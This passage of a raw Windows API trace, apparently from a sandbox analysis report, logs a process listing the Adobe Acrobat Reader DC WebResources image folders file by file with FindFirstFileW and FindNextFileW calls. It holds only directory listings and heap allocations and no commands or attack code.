ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0258.955] GetProcessHeap () returned 0xc10000 [0258.955] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0258.955] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0258.957] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.958] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8f7ad6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8f7ad6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8f7ad6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="combine_poster.jpg", cAlternateFileName="COMBIN~1.JPG")) returned 1 [0258.958] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbc62, dwReserved0=0x0, dwReserved1=0x0, cFileName="combine_poster2x.jpg", cAlternateFileName="COMBIN~2.JPG")) returned 1 [0258.958] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8f7ad6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8f7ad6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8f7ad6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6a8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="compare_poster.jpg", cAlternateFileName="COMPAR~1.JPG")) returned 1 [0258.958] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8f7ad6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8f7ad6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8f7ad6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x13b23, dwReserved0=0x0, dwReserved1=0x0, cFileName="compare_poster2x.jpg", cAlternateFileName="COMPAR~2.JPG")) returned 1 [0258.958] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8f7ad6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8f7ad6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8f7ad6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="edit_pdf_poster.jpg", cAlternateFileName="EDIT_P~1.JPG")) returned 1 [0258.958] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8f7ad6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8f7ad6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8f7ad6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12163, dwReserved0=0x0, dwReserved1=0x0, cFileName="edit_pdf_poster2x.jpg", cAlternateFileName="EDIT_P~2.JPG")) returned 1 [0258.958] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0258.958] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8f7ad6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8f7ad6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8f7ad6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0258.958] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8f7ad6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8f7ad6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8f7ad6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5dd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="optimize_poster.jpg", cAlternateFileName="OPTIMI~2.JPG")) returned 1 [0258.958] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8f7ad6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8f7ad6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8f7ad6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10552, dwReserved0=0x0, dwReserved1=0x0, cFileName="optimize_poster2x.jpg", cAlternateFileName="OPTIMI~1.JPG")) returned 1 [0258.958] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10e5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="organize_poster.jpg", cAlternateFileName="ORGANI~3.JPG")) returned 1 [0258.958] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8f7ad6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8f7ad6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8f7ad6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10e5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="organize_poster2x-dark.jpg", cAlternateFileName="ORGANI~1.JPG")) returned 1 [0258.959] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8f7ad6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8f7ad6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8f7ad6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10e5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="organize_poster2x.jpg", cAlternateFileName="ORGANI~2.JPG")) returned 1 [0258.959] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5b34, dwReserved0=0x0, dwReserved1=0x0, cFileName="protect_poster.jpg", cAlternateFileName="PROTEC~2.JPG")) returned 1 [0258.959] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8f7ad6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8f7ad6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8f7ad6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe6aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="protect_poster2x.jpg", cAlternateFileName="PROTEC~1.JPG")) returned 1 [0258.959] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="redact_poster.jpg", cAlternateFileName="REDACT~2.JPG")) returned 1 [0258.959] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8f7ad6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8f7ad6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8f7ad6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x111e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="redact_poster2x.jpg", cAlternateFileName="REDACT~1.JPG")) returned 1 [0258.959] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8f7ad6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8f7ad6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8f7ad6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7689, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_poster.jpg", cAlternateFileName="SCAN_P~1.JPG")) returned 1 [0258.959] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x149e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_poster2x.jpg", cAlternateFileName="SCAN_P~2.JPG")) returned 1 [0258.959] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0258.959] GetProcessHeap () returned 0xc10000 [0258.959] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0258.960] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0258.961] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.961] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0258.961] GetProcessHeap () returned 0xc10000 [0258.961] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.963] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.964] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="combine_poster.jpg", cAlternateFileName="COMBIN~1.JPG")) returned 1 [0258.964] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xbc62, dwReserved0=0x0, dwReserved1=0x0, cFileName="combine_poster2x.jpg", cAlternateFileName="COMBIN~2.JPG")) returned 1 [0258.964] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6a8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="compare_poster.jpg", cAlternateFileName="COMPAR~1.JPG")) returned 1 [0258.964] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x13b23, dwReserved0=0x0, dwReserved1=0x0, cFileName="compare_poster2x.jpg", cAlternateFileName="COMPAR~2.JPG")) returned 1 [0258.964] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="edit_pdf_poster.jpg", cAlternateFileName="EDIT_P~1.JPG")) returned 1 [0258.964] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12163, dwReserved0=0x0, dwReserved1=0x0, cFileName="edit_pdf_poster2x.jpg", cAlternateFileName="EDIT_P~2.JPG")) returned 1 [0258.964] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons.png", cAlternateFileName="EXAMPL~2.PNG")) returned 1 [0258.964] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="example_icons2x.png", cAlternateFileName="EXAMPL~1.PNG")) returned 1 [0258.964] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5dd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="optimize_poster.jpg", cAlternateFileName="OPTIMI~2.JPG")) returned 1 [0258.964] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10552, dwReserved0=0x0, dwReserved1=0x0, cFileName="optimize_poster2x.jpg", cAlternateFileName="OPTIMI~1.JPG")) returned 1 [0258.965] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x642a, dwReserved0=0x0, dwReserved1=0x0, cFileName="organize_poster.jpg", cAlternateFileName="ORGANI~2.JPG")) returned 1 [0258.965] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x10e5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="organize_poster2x.jpg", cAlternateFileName="ORGANI~1.JPG")) returned 1 [0258.965] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5b34, dwReserved0=0x0, dwReserved1=0x0, cFileName="protect_poster.jpg", cAlternateFileName="PROTEC~2.JPG")) returned 1 [0258.965] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe6aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="protect_poster2x.jpg", cAlternateFileName="PROTEC~1.JPG")) returned 1 [0258.965] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="redact_poster.jpg", cAlternateFileName="REDACT~2.JPG")) returned 1 [0258.965] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, 